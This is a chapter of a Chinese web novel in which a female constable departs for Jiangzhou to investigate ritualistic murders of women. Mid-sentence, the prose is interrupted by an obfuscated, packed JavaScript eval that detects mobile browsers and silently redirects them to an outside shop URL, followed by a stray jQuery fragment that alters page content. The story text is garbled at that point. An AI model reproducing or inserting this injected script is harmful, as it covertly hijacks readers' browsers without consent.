接下来几日,穆青青一边整理苏家案的收尾工作,一边准备赴江州的行装。
这日午后,她正在二堂与宋师爷交接文书,郑克礼走了进来。他今日穿了一身竹青色长衫,腰间挂着一个崭新的锦缎香囊,走动间,隐约飘来一丝甜腻气息,里头似乎掺着些药草的清苦。
穆青青整理卷宗的手几不可察地微微一顿。
这香味……她近日定在哪里闻到过。
不是郑克礼身上旧日那股淡到几乎无味的,也不是春桃那盒胭脂里的花香:那盒胭脂的香气她记得清楚,是纯粹的、浓郁的玫瑰甜香。而这股味道,甜得有些刻意,底下那缕药草气,反而透出几分说不出的……熟悉。
究竟是在哪儿呢?她一时想不起确切的地方,只觉得这缕幽香像一根细软的丝线,轻轻勾住了她记忆的某个角落,却又扯不出清晰的模样。
她不动声色,继续将手中的文书一一理好。只是那缕若有若无的香气,似乎总缠绕在鼻尖,挥之不去。
“穆捕头,”郑克礼走到案前,笑容温和,“听闻你明日就要远赴江州?那可是大展身手的好机会。”
“郑典史消息灵通。”穆青青垂眸,“只是协助六扇门办案罢了,不敢说大展身手。”
“何必过谦。”郑克礼在她对面坐下,手指无意识地摩挲着腰间香囊,“江州那案子,我也略有耳闻。四名女子,死状凄惨……这世道,女子真是不易。”
穆青青抬眼看他:“郑典史似乎颇有感触?”
“只是感慨罢了。”郑克礼轻叹一声,那缕甜腻的药草香随着他的动作又飘散过来,“我家中亦有姊妹,听闻这等事,难免心有戚戚。”他顿了顿,“穆捕头此去,定要小心。江州水浑,不比丰城。”
这话说得关切,可配上他那张永远挂着温和笑意的脸,总让穆青青觉得别有深意。
“谢郑典史提醒。”她淡淡道。
郑克礼起身,走到门边时忽然回头:“对了,苏府李姨娘前日来衙门,说是要感谢穆捕头。我让她把谢礼留在门房了,穆捕头记得去取。”
李姨娘?
穆青青心中一动。苏府那位娇媚的姨娘为何特意来谢她?而且偏偏挑她不在的时候?
“有劳郑典史。”她面上不动声色。
郑克礼笑了笑,转身离去。
穆青青看着他离去的背影,眉头微蹙。这香味……她一定在哪儿闻过,不只是郑克礼身上。是在苏府?还是在别处?
她努力回想,却一时想不起来。只隐约记得,这香味让她有种莫名的不适感。
“青青,”宋师爷的声音唤回她的思绪,“这些卷宗我都看过了,没什么问题。你去江州后,县衙刑名事务我会多盯着些,郑典史那边……你也别太担心。”
穆青青看向宋师爷。这位精明的师爷,显然也察觉到了什么。
“谢师爷。”她轻声道。
宋师爷捻着断指,欲言又止,最终只说了句:“出门在外,万事小心。”
两日期限转眼便到。
出发前夜,崔夫人在内室为穆青青饯行。桌上摆了几样精致小菜,还有一壶温好的黄酒。
“青青,这杯酒我敬你。”崔夫人举杯,眼中含泪,“你虽非我亲生,但这些日子,我早把你当自家孩子看待。江州凶险,你定要平安归来。”
穆青青心头一热,举杯饮尽:“夫人放心,青青定会小心。”
崔夫人又取出一个包袱:“这里头是些应急的药材、银两,还有两套我特意改小了的男子衣衫。在外头,女子身份多有不便,该乔装时就乔装,莫要拘泥。”
“多谢夫人。”穆青青赶紧双手接过,只觉得这包袱沉甸甸的,都是心意。
回到东厢院时,小荷已帮她收拾好行装。见穆青青回来,小丫头红着眼眶递上一个绣着青竹的荷包:“姑娘,这是我请人去庙里求来的平安符,您带着。”
穆青青接过,荷包针脚细密,显然费了不少功夫:“谢谢小荷。”
这天夜里,穆青青睡得并不安稳。梦中交替出现江州案现场的血红嫁衣,静安师太平静的面容,郑克礼腰间那个飘着甜腻香味的香囊……
天未亮时,她便起身了。
推开窗,晨雾未散。墙头上,瓦片和橘点点并肩蹲着,大黑蹲在院中,麻雀小灰停在屋檐下:它们竟都在等她。
【瓦片:喵呜!两脚兽真的要走了?】
【橘点点:喵……鱼干别忘了……】
【大黑:汪汪!穆老大早点回来!】
【麻雀小灰:啾!一路平安!】
穆青青鼻子微酸。虽然她能看到小动物们的聊天记录,但她一直认为小动物们生活得自由自在又无牵无挂,并不会太关注人类的生活。没想到昨晚她随口说的一句自己要离开此地去江州一段时日,这些平日里没心没肺的小动物们居然全都记在了心上。
原来它们真的通人性。
她赶紧将昨晚特意留的肉干、鱼干分给它们,轻声道:“好好看家,等我回来。”
县衙门口,寇晟一行人已整装待发。原先十余人马如今已增至二十骑,皆是一色的鸦青劲装,外罩墨蓝薄氅,腰间佩刀制式统一,肃立时鸦雀无声,自有一股凛然迫人的气势。若算上穆青青,此行共二十一人,其中女子三位,男子十八。
穆青青没有六扇门公服,只换了一身利落的深灰束袖劲装,长发在脑后紧绾成髻,背一只半旧行囊。腰间悬一柄尺长短刀,怀里揣着小荷给的平安符,静静立在队尾,居然并不显得突兀。
县衙门口,崔县令与宋师爷站在最前,身后跟着县丞周文焕、主簿李茂才、典史郑克礼,赵捕头仍未归来,陆金一、陆金二带着好几个熟脸的捕快立在阶下。
这般阵仗,面上是送穆青青,实则各怀心思:有关切,有礼数,自然也少不了想趁此在六扇门众人跟前露个脸的。
宋师爷将一封装着公文和盘缠的信封递给穆青青:“路上小心,保重自己。”
“谢师爷。”
寇晟翻身上马,向崔县令抱拳:“崔大人留步,寇某定将穆捕头平安带回。”
“有劳寇大人。”
马蹄声起,二十余骑踏着晨雾出了丰城东门。穆青青回头望去,丰城县城墙在熹微晨光中渐渐模糊。
这是她来到这世间后,头一回真正远离丰城地界。
好在,她是会骑马的,或者说,这具身体会骑马。
早在当初赶往丰城的路上,尚未转走水道时,她便隐隐察觉了:面对车厢前的大马,她心里并无半分畏怯,喂草料、抚马颈的动作熟练得如同
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070087|194137||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
本能。
她甚至悄悄试过踩镫上鞍,身姿竟出乎意料地稳当,仿佛这般动作已重复过百遍。
此刻,她握着缰绳的手平稳有力,跨下马匹亦温顺听令。这不知从何而来的“熟稔”,在这即将远行的关口,竟成了她心底一丝不易察觉的依仗。
出了城,官道渐宽。寇晟刻意放慢马速,渐渐与穆青青并行。
“穆捕头应该看过江州的‘绣娘索命案’了?”
他开门见山。
穆青青点头,简要说了卷宗上的内容:“四名女子,皆是子夜遇害,身着嫁衣,双手被切……现场无挣扎痕迹。”
“正是。”寇晟面色沉凝,“更诡异的是,每位受害者左手手背上,都有一朵三瓣红梅印记,似是特殊染料所印,七日不褪。据家人说,死者生前并无此印记。”
穆青青心中一寒:“凶手在杀人后为她们印上标记……这是某种仪式?”
“我们也怀疑如此。”寇晟赞赏道,“四位受害者身份、住处皆无关联,唯二共同点是:都是独居或案发时独处的女子,且都在死前数日曾去过江州城西的‘慈恩寺’上香。”
慈恩寺?
又是寺庙,穆青青忍不住想到静心庵。
“寺中可去查探过?”她问。
“查过,并无异常。”寇晟道,“慈恩寺是百年古刹,香火鼎盛,住持慧明大师德高望重。寺中僧众背景清白,目前未发现任何可疑之处。”
他顿了顿:“但此案手法诡异,凶手显然对女子习性极为熟悉。我们需有人混入香客中再次前去探查,尤其要注意独身前往上香的女子。穆捕头是女子,又心思细腻,正可担此任。”
这摆明了是需要她去当“诱饵”啊。
不过这种案子迫不得已的情况下确实需要个“饵”,有时候会起到奇效。
“寇大人,”穆青青握着缰绳,目视前方蜿蜒的官道,忽然开口,“此案既以‘绣娘’为名,可是因首位遇害的芸娘是绣坊女工?那‘大红嫁衣’,是凶手刻意为之,还是死者本有婚约在身?”
她顿了顿,声音沉静:“嫁衣并非寻常物件,凶手连续用它来布置现场,绝不会是无心之举。”
寇晟侧目看她,眼中掠过一丝赞许:“问到要害了。此案确因首起受害者得名,但后续三人皆非绣娘,‘绣娘索命’四字,如今看来更像是民间以讹传讹的俗称。至于嫁衣——”
他神色微凝:“四名死者生前皆无近期婚约。那嫁衣亦非她们所有。形制普通,就好像是成衣铺子里成批买来的样式,但每件都崭新如初,死者穿着整齐,连发髻妆容都经人精心打理过。”
穆青青心头更是一寒。
寇晟继续道:“正因如此,我们才断定凶手绝非寻常仇杀者或劫掠者。这更像是一种仪式,或者,某种执念的投射。”他看向穆青青,“此行江州,首要任务便是赶在下次案发前,揪出这执念的源头。”
穆青青立刻问道:“我们何时能到江州?”
“明日傍晚。”寇晟道,“今夜在前方驿站歇息。穆捕头可趁此时间细看卷宗,若有疑问,随时问我。”
穆青青点头。她望向官道前方,远山如黛,前路漫漫。
这趟江州之行,注定不会轻松。她轻轻握紧缰绳,眼中闪过一丝坚定。